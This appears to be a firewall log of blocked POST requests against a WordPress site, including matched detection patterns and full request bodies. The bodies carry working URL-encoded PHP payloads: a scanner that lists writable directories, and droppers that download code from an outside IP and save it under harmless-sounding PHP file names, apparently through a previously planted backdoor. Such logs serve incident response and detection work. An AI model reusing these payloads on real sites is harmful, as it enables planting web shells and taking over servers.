["2026-05-12 19:04:56","72.167.150.128","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\ncontent-length:3865\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-ch-ua-mobile:?0\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28%21%24r%29%20%7B%20%20%20%20%20%24p%20%3D%20getenv%28%27PWD%27%29%3B%20%20%20%20%20%24dir%20%3D%20%22\/wp-includes\/block-patterns%22%3B%20%20%20%20%20%24r%20%3D%20str_replace%28%24dir%2C%20%27%27%2C%20%24p%29%3B%20%7D%20%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 19:05:18","78.142.18.172","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> VF:%3C%3Fphp%20%20file_put_contents%28%27phocagalleryf.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/uLEQDxoFcH%27%29%29%3B","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIxLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupzkyK3Ein2IhplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-length:176\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\n\nVF=%3C%3Fphp%20%20file_put_contents%28%27phocagalleryf.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/uLEQDxoFcH%27%29%29%3B"]
["2026-05-12 19:05:45","217.217.254.45","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ec:%3C%3Fphp%20%20file_put_contents%28%27headlines.class.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/NFbpTRgCiu%27%29%29%3B","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-length:178\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMJZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\n\nec=%3C%3Fphp%20%20file_put_contents%28%27headlines.class.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/NFbpTRgCiu%27%29%29%3B"]
["2026-05-12 19:06:05","203.190.11.3","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> te:%3C%3Fphp%20%20file_put_contents%28%27agenda3.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/xaSQrYCbYL%27%29%29%3B","POST \/ HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqTHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\ncontent-length:170\n\nte=%3C%3Fphp%20%20file_put_contents%28%27agenda3.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/xaSQrYCbYL%27%29%29%3B"]
["2026-05-12 19:06:18","118.139.167.171","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> zu:%3C%3Fphp%20%20file_put_contents%28%27insert_pre.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/OqFniSrDIg%27%29%29%3B","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-length:173\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvraHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\n\nzu=%3C%3Fphp%20%20file_put_contents%28%27insert_pre.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/OqFniSrDIg%27%29%29%3B"]
["2026-05-12 19:06:29","113.22.137.197","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Wx:%3C%3Fphp%20%20file_put_contents%28%27server_variables.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/wZqRDNsDhw%27%29%29%3B","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI3tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\ncontent-length:179\n\nWx=%3C%3Fphp%20%20file_put_contents%28%27server_variables.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/wZqRDNsDhw%27%29%29%3B"]
["2026-05-12 19:06:59","72.167.150.128","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20file_put_contents%28%27aioseop_options.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/SVqzGpkZLw%27%29%29%3B\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:201\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\nsec-fetch-site:none\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20file_put_contents%28%27aioseop_options.php%27%2Cfile_get_contents%28%27http%3A\/\/213.209.159.254\/tmp\/SVqzGpkZLw%27%29%29%3B\"));"]
["2026-05-12 19:17:08","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> eP:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMINvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-length:3339\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\n\neP=%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
